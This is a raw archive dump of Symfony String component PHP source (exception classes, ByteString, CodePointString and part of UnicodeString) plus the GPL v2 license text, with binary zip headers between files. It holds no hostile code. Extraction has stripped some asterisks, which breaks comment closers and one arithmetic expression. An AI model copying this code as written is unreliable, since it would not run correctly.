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PK��(�\$��Q��Q�� Exception/ExceptionInterface.phpnu��[��<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Exception; interface ExceptionInterface extends \Throwable { } PK��(�\e��&��Exception/InvalidArgumentException.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Exception; class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } PK��(�\��0�p��p��Exception/RuntimeException.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String\Exception; class RuntimeException extends \RuntimeException implements ExceptionInterface { } PK��(�\�P�E��E��LICENSEnu��[��GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PK��(�\ráEL<��L<��ByteString.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; use Symfony\Component\String\Exception\RuntimeException; /* * Represents a binary-safe string of bytes. * * @author Nicolas Grekas <p@tchwork.com> * @author Hugo Hamon <hugohamon@neuf.fr> * * @throws ExceptionInterface / class ByteString extends AbstractString { private const ALPHABET_ALPHANUMERIC = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'; public function __construct(string $string = '') { $this->string = $string; } / * The following method was derived from code of the Hack Standard Library (v4.40 - 2020-05-03) * * https://github.com/hhvm/hsl/blob/80a42c02f036f72a42f0415e80d6b847f4bf62d5/src/random/private.php#L16 * * Code subject to the MIT license (https://github.com/hhvm/hsl/blob/master/LICENSE). * * Copyright (c) 2004-2020, Facebook, Inc. (https://www.facebook.com/) / public static function fromRandom(int $length = 16, string $alphabet = null): self { if ($length <= 0) { throw new InvalidArgumentException(sprintf('A strictly positive length is expected, "%d" given.', $length)); } $alphabet = $alphabet ?? self::ALPHABET_ALPHANUMERIC; $alphabetSize = \strlen($alphabet); $bits = (int) ceil(log($alphabetSize, 2.0)); if ($bits <= 0 \|\| $bits > 56) { throw new InvalidArgumentException('The length of the alphabet must in the [2^1, 2^56] range.'); } $ret = ''; while ($length > 0) { $urandomLength = (int) ceil(2 $length * $bits / 8.0); $data = random_bytes($urandomLength); $unpackedData = 0; $unpackedBits = 0; for ($i = 0; $i < $urandomLength && $length > 0; ++$i) { // Unpack 8 bits $unpackedData = ($unpackedData << 8) \| \ord($data[$i]); $unpackedBits += 8; // While we have enough bits to select a character from the alphabet, keep // consuming the random data for (; $unpackedBits >= $bits && $length > 0; $unpackedBits -= $bits) { $index = ($unpackedData & ((1 << $bits) - 1)); $unpackedData >>= $bits; // Unfortunately, the alphabet size is not necessarily a power of two. // Worst case, it is 2^k + 1, which means we need (k+1) bits and we // have around a 50% chance of missing as k gets larger if ($index < $alphabetSize) { $ret .= $alphabet[$index]; --$length; } } } } return new static($ret); } public function bytesAt(int $offset): array { $str = $this->string[$offset] ?? ''; return '' === $str ? [] : [\ord($str)]; } public function append(string ...$suffix): parent { $str = clone $this; $str->string .= 1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix); return $str; } public function camel(): parent { $str = clone $this; $parts = explode(' ', trim(ucwords(preg_replace('/[^a-zA-Z0-9\x7f-\xff]++/', ' ', $this->string)))); $parts[0] = 1 !== \strlen($parts[0]) && ctype_upper($parts[0]) ? $parts[0] : lcfirst($parts[0]); $str->string = implode('', $parts); return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $str = clone $this; $chunks = []; foreach (str_split($this->string, $length) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function endsWith($suffix): bool { if ($suffix instanceof parent) { $suffix = $suffix->string; } elseif (\is_array($suffix) \|\| $suffix instanceof \Traversable) { return parent::endsWith($suffix); } else { $suffix = (string) $suffix; } return '' !== $suffix && \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix), null, $this->ignoreCase); } public function equalsTo($string): bool { if ($string instanceof parent) { $string = $string->string; } elseif (\is_array($string) \|\| $string instanceof \Traversable) { return parent::equalsTo($string); } else { $string = (string) $string; } if ('' !== $string && $this->ignoreCase) { return 0 === strcasecmp($string, $this->string); } return $string === $this->string; } public function folded(): parent { $str = clone $this; $str->string = strtolower($str->string); return $str; } public function indexOf($needle, int $offset = 0): ?int { if ($needle instanceof parent) { $needle = $needle->string; } elseif (\is_array($needle) \|\| $needle instanceof \Traversable) { return parent::indexOf($needle, $offset); } else { $needle = (string) $needle; } if ('' === $needle) { return null; } $i = $this->ignoreCase ? stripos($this->string, $needle, $offset) : strpos($this->string, $needle, $offset); return false === $i ? null : $i; } public function indexOfLast($needle, int $offset = 0): ?int { if ($needle instanceof parent) { $needle = $needle->string; } elseif (\is_array($needle) \|\| $needle instanceof \Traversable) { return parent::indexOfLast($needle, $offset); } else { $needle = (string) $needle; } if ('' === $needle) { return null; } $i = $this->ignoreCase ? strripos($this->string, $needle, $offset) : strrpos($this->string, $needle, $offset); return false === $i ? null : $i; } public function isUtf8(): bool { return '' === $this->string \|\| preg_match('//u', $this->string); } public function join(array $strings, string $lastGlue = null): parent { $str = clone $this; $tail = null !== $lastGlue && 1 < \count($strings) ? $lastGlue.array_pop($strings) : ''; $str->string = implode($this->string, $strings).$tail; return $str; } public function length(): int { return \strlen($this->string); } public function lower(): parent { $str = clone $this; $str->string = strtolower($str->string); return $str; } public function match(string $regexp, int $flags = 0, int $offset = 0): array { $match = ((\PREG_PATTERN_ORDER \| \PREG_SET_ORDER) & $flags) ? 'preg_match_all' : 'preg_match'; if ($this->ignoreCase) { $regexp .= 'i'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (false === $match($regexp, $this->string, $matches, $flags \| \PREG_UNMATCHED_AS_NULL, $offset)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && '_ERROR' === substr($k, -6)) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } return $matches; } public function padBoth(int $length, string $padStr = ' '): parent { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_BOTH); return $str; } public function padEnd(int $length, string $padStr = ' '): parent { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_RIGHT); return $str; } public function padStart(int $length, string $padStr = ' '): parent { $str = clone $this; $str->string = str_pad($this->string, $length, $padStr, \STR_PAD_LEFT); return $str; } public function prepend(string ...$prefix): parent { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$str->string; return $str; } public function replace(string $from, string $to): parent { $str = clone $this; if ('' !== $from) { $str->string = $this->ignoreCase ? str_ireplace($from, $to, $this->string) : str_replace($from, $to, $this->string); } return $str; } public function replaceMatches(string $fromRegexp, $to): parent { if ($this->ignoreCase) { $fromRegexp .= 'i'; } if (\is_array($to)) { if (!\is_callable($to)) { throw new \TypeError(sprintf('Argument 2 passed to "%s::replaceMatches()" must be callable, array given.', static::class)); } $replace = 'preg_replace_callback'; } else { $replace = $to instanceof \Closure ? 'preg_replace_callback' : 'preg_replace'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (null === $string = $replace($fromRegexp, $to, $this->string)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && '_ERROR' === substr($k, -6)) { throw new RuntimeException('Matching failed with '.$k.'.'); } } throw new RuntimeException('Matching failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; $str->string = $string; return $str; } public function reverse(): parent { $str = clone $this; $str->string = strrev($str->string); return $str; } public function slice(int $start = 0, int $length = null): parent { $str = clone $this; $str->string = (string) substr($this->string, $start, $length ?? \PHP_INT_MAX); return $str; } public function snake(): parent { $str = $this->camel(); $str->string = strtolower(preg_replace(['/([A-Z]+)([A-Z][a-z])/', '/([a-z\d])([A-Z])/'], '\1_\2', $str->string)); return $str; } public function splice(string $replacement, int $start = 0, int $length = null): parent { $str = clone $this; $str->string = substr_replace($this->string, $replacement, $start, $length ?? \PHP_INT_MAX); return $str; } public function split(string $delimiter, int $limit = null, int $flags = null): array { if (1 > $limit = $limit ?? \PHP_INT_MAX) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter, $limit, $flags); } $str = clone $this; $chunks = $this->ignoreCase ? preg_split('{'.preg_quote($delimiter).'}iD', $this->string, $limit) : explode($delimiter, $this->string, $limit); foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } return $chunks; } public function startsWith($prefix): bool { if ($prefix instanceof parent) { $prefix = $prefix->string; } elseif (!\is_string($prefix)) { return parent::startsWith($prefix); } return '' !== $prefix && 0 === ($this->ignoreCase ? strncasecmp($this->string, $prefix, \strlen($prefix)) : strncmp($this->string, $prefix, \strlen($prefix))); } public function title(bool $allWords = false): parent { $str = clone $this; $str->string = $allWords ? ucwords($str->string) : ucfirst($str->string); return $str; } public function toUnicodeString(string $fromEncoding = null): UnicodeString { return new UnicodeString($this->toCodePointString($fromEncoding)->string); } public function toCodePointString(string $fromEncoding = null): CodePointString { $u = new CodePointString(); if (\in_array($fromEncoding, [null, 'utf8', 'utf-8', 'UTF8', 'UTF-8'], true) && preg_match('//u', $this->string)) { $u->string = $this->string; return $u; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { try { $validEncoding = false !== mb_detect_encoding($this->string, $fromEncoding ?? 'Windows-1252', true); } catch (InvalidArgumentException $e) { if (!\function_exists('iconv')) { throw $e; } $u->string = iconv($fromEncoding ?? 'Windows-1252', 'UTF-8', $this->string); return $u; } } finally { restore_error_handler(); } if (!$validEncoding) { throw new InvalidArgumentException(sprintf('Invalid "%s" string.', $fromEncoding ?? 'Windows-1252')); } $u->string = mb_convert_encoding($this->string, 'UTF-8', $fromEncoding ?? 'Windows-1252'); return $u; } public function trim(string $chars = " \t\n\r\0\x0B\x0C"): parent { $str = clone $this; $str->string = trim($str->string, $chars); return $str; } public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C"): parent { $str = clone $this; $str->string = rtrim($str->string, $chars); return $str; } public function trimStart(string $chars = " \t\n\r\0\x0B\x0C"): parent { $str = clone $this; $str->string = ltrim($str->string, $chars); return $str; } public function upper(): parent { $str = clone $this; $str->string = strtoupper($str->string); return $str; } public function width(bool $ignoreAnsiDecoration = true): int { $string = preg_match('//u', $this->string) ? $this->string : preg_replace('/[\x80-\xFF]/', '?', $this->string); return (new CodePointString($string))->width($ignoreAnsiDecoration); } } PK��(�\n^t{��{��CodePointString.phpnu��[��<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; /* * Represents a string of Unicode code points encoded as UTF-8. * * @author Nicolas Grekas <p@tchwork.com> * @author Hugo Hamon <hugohamon@neuf.fr> * * @throws ExceptionInterface / class CodePointString extends AbstractUnicodeString { public function __construct(string $string = '') { if ('' !== $string && !preg_match('//u', $string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $this->string = $string; } public function append(string ...$suffix): AbstractString { $str = clone $this; $str->string .= 1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix); if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $rx = '/('; while (65535 < $length) { $rx .= '.{65535}'; $length -= 65535; } $rx .= '.{'.$length.'})/us'; $str = clone $this; $chunks = []; foreach (preg_split($rx, $this->string, -1, \PREG_SPLIT_DELIM_CAPTURE \| \PREG_SPLIT_NO_EMPTY) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function codePointsAt(int $offset): array { $str = $offset ? $this->slice($offset, 1) : $this; return '' === $str->string ? [] : [mb_ord($str->string, 'UTF-8')]; } public function endsWith($suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (\is_array($suffix) \|\| $suffix instanceof \Traversable) { return parent::endsWith($suffix); } else { $suffix = (string) $suffix; } if ('' === $suffix \|\| !preg_match('//u', $suffix)) { return false; } if ($this->ignoreCase) { return preg_match('{'.preg_quote($suffix).'$}iuD', $this->string); } return \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix)); } public function equalsTo($string): bool { if ($string instanceof AbstractString) { $string = $string->string; } elseif (\is_array($string) \|\| $string instanceof \Traversable) { return parent::equalsTo($string); } else { $string = (string) $string; } if ('' !== $string && $this->ignoreCase) { return \strlen($string) === \strlen($this->string) && 0 === mb_stripos($this->string, $string, 0, 'UTF-8'); } return $string === $this->string; } public function indexOf($needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (\is_array($needle) \|\| $needle instanceof \Traversable) { return parent::indexOf($needle, $offset); } else { $needle = (string) $needle; } if ('' === $needle) { return null; } $i = $this->ignoreCase ? mb_stripos($this->string, $needle, $offset, 'UTF-8') : mb_strpos($this->string, $needle, $offset, 'UTF-8'); return false === $i ? null : $i; } public function indexOfLast($needle, int $offset = 0): ?int { if ($needle instanceof AbstractString) { $needle = $needle->string; } elseif (\is_array($needle) \|\| $needle instanceof \Traversable) { return parent::indexOfLast($needle, $offset); } else { $needle = (string) $needle; } if ('' === $needle) { return null; } $i = $this->ignoreCase ? mb_strripos($this->string, $needle, $offset, 'UTF-8') : mb_strrpos($this->string, $needle, $offset, 'UTF-8'); return false === $i ? null : $i; } public function length(): int { return mb_strlen($this->string, 'UTF-8'); } public function prepend(string ...$prefix): AbstractString { $str = clone $this; $str->string = (1 >= \count($prefix) ? ($prefix[0] ?? '') : implode('', $prefix)).$this->string; if (!preg_match('//u', $str->string)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function replace(string $from, string $to): AbstractString { $str = clone $this; if ('' === $from \|\| !preg_match('//u', $from)) { return $str; } if ('' !== $to && !preg_match('//u', $to)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } if ($this->ignoreCase) { $str->string = implode($to, preg_split('{'.preg_quote($from).'}iuD', $this->string)); } else { $str->string = str_replace($from, $to, $this->string); } return $str; } public function slice(int $start = 0, int $length = null): AbstractString { $str = clone $this; $str->string = mb_substr($this->string, $start, $length, 'UTF-8'); return $str; } public function splice(string $replacement, int $start = 0, int $length = null): AbstractString { if (!preg_match('//u', $replacement)) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } $str = clone $this; $start = $start ? \strlen(mb_substr($this->string, 0, $start, 'UTF-8')) : 0; $length = $length ? \strlen(mb_substr($this->string, $start, $length, 'UTF-8')) : $length; $str->string = substr_replace($this->string, $replacement, $start, $length ?? \PHP_INT_MAX); return $str; } public function split(string $delimiter, int $limit = null, int $flags = null): array { if (1 > $limit = $limit ?? \PHP_INT_MAX) { throw new InvalidArgumentException('Split limit must be a positive integer.'); } if ('' === $delimiter) { throw new InvalidArgumentException('Split delimiter is empty.'); } if (null !== $flags) { return parent::split($delimiter.'u', $limit, $flags); } if (!preg_match('//u', $delimiter)) { throw new InvalidArgumentException('Split delimiter is not a valid UTF-8 string.'); } $str = clone $this; $chunks = $this->ignoreCase ? preg_split('{'.preg_quote($delimiter).'}iuD', $this->string, $limit) : explode($delimiter, $this->string, $limit); foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } return $chunks; } public function startsWith($prefix): bool { if ($prefix instanceof AbstractString) { $prefix = $prefix->string; } elseif (\is_array($prefix) \|\| $prefix instanceof \Traversable) { return parent::startsWith($prefix); } else { $prefix = (string) $prefix; } if ('' === $prefix \|\| !preg_match('//u', $prefix)) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos($this->string, $prefix, 0, 'UTF-8'); } return 0 === strncmp($this->string, $prefix, \strlen($prefix)); } } PK��(�\j8��C2��C2��UnicodeString.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; use Symfony\Component\String\Exception\ExceptionInterface; use Symfony\Component\String\Exception\InvalidArgumentException; /* * Represents a string of Unicode grapheme clusters encoded as UTF-8. * * A letter followed by combining characters (accents typically) form what Unicode defines * as a grapheme cluster: a character as humans mean it in written texts. This class knows * about the concept and won't split a letter apart from its combining accents. It also * ensures all string comparisons happen on their canonically-composed representation, * ignoring e.g. the order in which accents are listed when a letter has many of them. * * @see https://unicode.org/reports/tr15/ * * @author Nicolas Grekas <p@tchwork.com> * @author Hugo Hamon <hugohamon@neuf.fr> * * @throws ExceptionInterface / class UnicodeString extends AbstractUnicodeString { public function __construct(string $string = '') { $this->string = normalizer_is_normalized($string) ? $string : normalizer_normalize($string); if (false === $this->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } } public function append(string ...$suffix): AbstractString { $str = clone $this; $str->string = $this->string.(1 >= \count($suffix) ? ($suffix[0] ?? '') : implode('', $suffix)); normalizer_is_normalized($str->string) ?: $str->string = normalizer_normalize($str->string); if (false === $str->string) { throw new InvalidArgumentException('Invalid UTF-8 string.'); } return $str; } public function chunk(int $length = 1): array { if (1 > $length) { throw new InvalidArgumentException('The chunk length must be greater than zero.'); } if ('' === $this->string) { return []; } $rx = '/('; while (65535 < $length) { $rx .= '\X{65535}'; $length -= 65535; } $rx .= '\X{'.$length.'})/u'; $str = clone $this; $chunks = []; foreach (preg_split($rx, $this->string, -1, \PREG_SPLIT_DELIM_CAPTURE \| \PREG_SPLIT_NO_EMPTY) as $chunk) { $str->string = $chunk; $chunks[] = clone $str; } return $chunks; } public function endsWith($suffix): bool { if ($suffix instanceof AbstractString) { $suffix = $suffix->string; } elseif (\is_array($suffix) \|\| $suffix instanceof \Traversable) { return parent::endsWith($suffix); } else { $suffix = (string) $suffix; } $form = null === $this->ignoreCase ? \Normalizer::NFD : \Normalizer::NFC; normalizer_is_normalized($suffix, $form) ?: $suffix = normalizer_normalize($suffix, $form); if ('' === $suffix \|\| false === $suffix) { return false; } if ($this->ignoreCase) { return 0 === mb_stripos(grapheme_extract($this->string, \strlen($suffix), 